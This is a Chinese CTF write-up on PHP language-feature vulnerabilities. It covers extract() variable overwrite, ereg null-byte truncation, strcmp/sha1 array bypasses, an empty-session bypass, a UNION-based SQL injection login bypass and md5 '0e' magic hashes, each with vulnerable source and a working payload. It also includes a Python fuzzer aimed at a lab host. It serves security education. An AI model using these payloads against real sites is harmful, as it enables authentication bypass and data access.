php语言特性类型

PHP语言特性

extract变量覆盖

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
$flag='cimer';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{cimer_2021_come_on}';
}
else
{
echo'Oh.no';
}
}
?>

漏洞分析

extract()函数

  • 从数组中将变量导入到当前的符号表

  • 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

  • 语法:extract(array,extract_rules,prefix)

  • array,必需,要使用的数组

GET传参或者POST传参时,带入到extact函数中,直接传入同名变量名,即可覆盖原有变量值。

flag变量值为cimer

extract()通过GET方式接受一个数组,键名作为变量名,值为变量值

如果变量$shiyan为空,则$flag值通过file_get_contents()赋值给变量$content

如果变量$shiyan与$content值相同,则输出flag

漏洞利用

payload构造index.php?shiyan=&flag=

绕过过滤的空白字符

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
include 'flag.php';
$info = "";
$req = [];

ini_set("display_error", false);
error_reporting(0);

if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt");
die("have a fun!!");
}

foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}

function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}

if(is_numeric($_REQUEST['number'])) {
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number'])))
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else{
$info=$flag;
}
}

}
echo $info;
?>

漏洞分析

函数分析

  • trim — 去除字符串首尾处的空白字符(或者其他字符)
  • is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
  • strval — 获取变量的字符串值
  • strlen — 获取字符串长度
  • is_numeric — 检测变量是否为数字或数字字符串
  • intval — 获取变量的整数值
  • is_palindrome_number —— 自定义函数判断数字是否为非回文数

逻辑分析

number为get接受参数变量;

第一个判断如果变量number为空值,则设置header有hint字段,并die出一句话;

条件一:if(is_numeric($_REQUEST['number'])) 检测变量是否为数字或者数字字符串,条件是false;

条件二:elseif($req['number']!=strval(intval($req['number'])))检测变量是否为回文数;

条件三:if(is_palindrome_number($req["number"]))调用函数is_palindrome_number判断当前数字为非回文数

绕过条件一的方式是:%00为空字符,不会影响后面的数值;

咋眼一看条件二和条件三是冲突的,这边我们必须想法子绕过;为了同时满足条件二和绕过函数is_palindrome_number。可以对源代码进行相关简化,得到如下简化代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>

fuzzing代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/local/env python2
#conding:utf-8

import requests
for i in range(256):
rq = requests.get("http://192.168.1.191:32776/stage/2/index2.php?number=%s191"%("%%%02X"%i))
#print(rq.text)
if '1' in rq.text:
print "%%%02X"%i

output:
%0C
%2B

漏洞利用

payload:http://192.168.1.191:32776/stage/2/index2.php?number=%00%0C191

ereg正则绕过

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 

include 'flag.php';

if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

漏洞分析

ereg函数:函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。此函数存在%00截断问题,只要遇到%00就停止匹配。

条件一:首先erge正则匹配使得变量password必须满足数字字母组成;

条件二:限制password长度必须小于8,并且值要大于9999999;

条件三:密码中必须要含有字符*-*;

漏洞利用

绕过条件一使用%00截断;

绕过条件而使用科学计数法1e9;

满足条件三%00后面拼接*-*;

payload:?password=1e9%00*-*

strcmp比较字符串

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include 'flag.php';
highlight_file(__FILE__);

if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}

?>

漏洞分析

strcmp()

这个函数用于字符串比较

1
2
int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==NULL==0bool(true)

漏洞利用

payload:?a[]=1

sha()函数比较绕过

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include 'flag.php';
highlight_file(__FILE__);

if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';

?>

漏洞分析

sha1()函数计算字符串sha-1散列,接受参数位字符串类型

=== 为恒等式会对变量类型进行比较

若传入变量为数组类型,就会使sha1函数返回错误,即false;都报错的情况下, 恒等式即成立

漏洞利用

payload:?name[]=1&passwordp[]=2

session验证绕过

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include 'flag.php';
highlight_file(__FILE__);

session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));

?>

漏洞分析

若session里的password的值和get传参进去的值相等,则会输出flag;

对其$_SESSION[‘password’]进行输出发现结果为null,所以这里构造password传入空值,使其相等;

漏洞利用

payload:?password=

md5比较绕过

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include 'flag.php';

if($_POST['user'] && $_POST['pass']) {
$conn = mysql_connect("localhost", "ctf", "ctf");
mysql_select_db("md5bypass") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST['user'];
$pass = md5($_POST['pass']);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in!" . $flag . "</p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

漏洞分析

strcasecmp(string1, string2) 函数比较两个字符串。如果相等返回0,如果string1<string2返回<0,如果string1>string2返回>0

提示:strcasecmp() 函数是二进制安全的,且不区分大小写。

根据代码只要让$row[pw]与变量$pass相等即可输出flag;

$pass是经过md5之后的值,这个值用户可以通过输入控制;

$row[pw]的值是通过sql查询获取到;

通过代码很明显可以看出来,在user变量处没有任何过滤存在,是明显存在注入的;

通过注入构造控制$row[pw]为用户自己输入的md5值即可,pass的值可控,直接输入对应md5的明文即可;

漏洞利用

payload:admin' AND 0=1 union select '202cb962ac59075b964b07152d234b70'#&pass=123

md5加密相等绕过

漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
highlight_file(__FILE__);

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag:" . $flag;
} else {
echo "false!!!";
}}
else{echo "please input a";}

?>

漏洞分析

php中md5值若是0e开头,那么与其他的0e开头的md5值相等,这也成为md5碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
所以随便挑一个0e开头的md5对应的原码 构造 playload即可

漏洞利用

payload:?a=s878926199a

作者

丨greetdawn丨

发布于

2019-03-10

更新于

2023-05-05

许可协议

评论